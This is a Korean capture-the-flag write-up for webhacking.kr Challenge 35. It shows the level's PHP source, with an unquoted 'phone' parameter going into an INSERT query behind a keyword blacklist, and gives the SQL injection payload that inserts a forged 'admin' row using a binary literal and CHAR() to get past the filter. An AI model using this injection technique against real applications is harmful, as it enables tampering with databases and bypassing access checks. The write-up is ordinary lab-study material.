<html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11><input type=submit value='add'>
</form>
<?
if($_GET[phone])
{
if(eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack");

@mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
echo("Done<br>");
}

$admin_ck=mysql_fetch_array(mysql_query("select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'"));

if($admin_ck[ip]==$_SERVER[REMOTE_ADDR])
{
@solve();
@mysql_query("delete from challenge35_list");
}
$phone_list=@mysql_query("select * from challenge35_list where ip='$_SERVER[REMOTE_ADDR]'");

echo("<!--");

while($d=@mysql_fetch_array($phone_list))
{
echo("$d[id] - $d[phone]\n");
}

echo("-->");

?>
<br><a href=index.phps>index.phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=HellSonic>HellSonic</a></center>
<br><br><br>
</body>
</html>

11자리 phone이라는 파라미터를 입력받아 서버로 보낸다.


# 필터문자


%

*

/

=

from

select

x

-

#

((


insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone]) 

필터 처리하고 challenge35_list 테이블에 id, ip, phone 값을 보낸다.


$_SESSION[id]

$_SERVER[REMOTE_ADDR]

$_GET[phone]



select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'

현재 접속한 사용자가 관리자가이 맞는지 체크한다.


insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',1),(0b0110000101100100011011010110100101101110,CHAR(?,?,?,?,?,?,?,?,?,?,?,?,?),2)


id 파라미터에 2진법으로 admin 값을 넣었고, ip는 char 함수를 사용해 현재 IP 주소를 넣었다.





























+ Recent posts